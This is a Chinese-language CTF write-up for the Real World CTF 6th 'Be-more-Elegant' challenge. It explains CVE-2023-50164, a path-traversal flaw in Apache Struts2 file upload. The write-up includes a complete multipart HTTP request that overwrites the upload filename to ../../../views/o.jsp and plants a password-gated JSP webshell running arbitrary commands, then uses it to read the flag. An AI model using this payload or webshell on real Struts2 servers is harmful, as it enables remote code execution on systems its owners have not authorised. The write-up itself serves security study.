Real World CTF 6th Be-more-Elegant

漏洞介绍

Apache Struts2 是一个开源的 Java Web 应用程序开发框架,旨在帮助开发人员构建灵活、可维护和可扩展的企业级Web应用程序。CVE-2023-50164 Apache Struts文件上传漏洞,攻击者可利用该漏洞污染相关上传参数导致目录遍历,可导致上传webshell,执行任意代码。

解题思路

首先要知道,这道题考察的是Struts2 S2-006漏洞。

题目提供了附件下载,下载下来后是一个ROOT.war,解压后查看WEB-INF文件下有class文件,首先通过反编译查看源码,这里使用的反编译工具是jad:

1
jad.exe -o -r -s java -d src HeaderIconAction.class

进行源代码审计,通过查看be.more.elegant.filter.JspFilter#doFilter发现只有在view文件夹下才能够运行jsp文件,其他目录下都被过滤了:

审计be.more.elegant.HeaderIconAction#doUpload对应的路由是/upload.action

  • String remoteAddr = request.getRemoteAddr(); 这行代码从request对象中获取远程客户端(即上传文件的用户)的 IP 地址。
  • String md5ForIp = md5Ip(remoteAddr); 这行调用了一个名为 md5Ip 的方法,输入参数是远程地址(客户端的 IP),并返回该 IP 地址的 MD5 散列值。
  • File sandBox = new File(UPLOAD_DIR, md5ForIp); 这行代码创建了一个 File 对象,代表一个目录,该目录位于一个名为UPLOAD_DIR的父目录下,目录名为该 IP 的 MD5 散列值。
  • File fileToCreate = new File(sandBox, fileUploadFileName);这行代码创建了一个新的File对象,代表要创建的文件,它位于上一步创建的沙箱目录下,文件名由变量 fileUploadFileName 指定。
  • FileUtils.copyFile(fileUpload, fileToCreate);使用 Apache Commons IO 库的FileUtils.copyFile 方法将上传的文件(fileUpload)复制到新位置(fileToCreate)。
  • uploadedPath = (new StringBuilder()).append("statics/uploads/").append(md5ForIp).append("/").append(fileUploadFileName).toString(); 这行代码构建了上传文件的相对路径字符串,并将其赋值给 uploadedPath 变量。

由于Struts2 对大小写不敏感,所以我们可以使用改变大小写对fileUploadFileName进行二次赋值,让实际的fileUploadFileName内容改编为../../../views/o.jsp,这样就可以把jsp文件放到views目录下了。

首先尝试上传一个正常的文件。

构造的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /upload.action HTTP/1.1
Host: 47.99.57.31:8080
Content-Length: 685
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://47.99.57.31:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryemKDB99p3kAaJnPT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://47.99.57.31:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=EC1208381C17F7FE1D9579D14E3BD86C
Connection: close

------WebKitFormBoundaryemKDB99p3kAaJnPT
Content-Disposition: form-data; name="FileUpload"; filename="o.jsp" #首字母要大写
Content-Type: text/plain

<%
if("666".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("o")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
------WebKitFormBoundaryemKDB99p3kAaJnPT
Content-Disposition: form-data; name="fileUploadFileName"; # 这里首字母要小写,要加上FileName

../../../views/o.jsp
------WebKitFormBoundaryemKDB99p3kAaJnPT--

结果显示上传成功

访问http://<ip>/views/o.jsp?pwd=666&o=./readflag获取flag值rwctf{Y0U K0wn S2 sooooo!!! w3ll}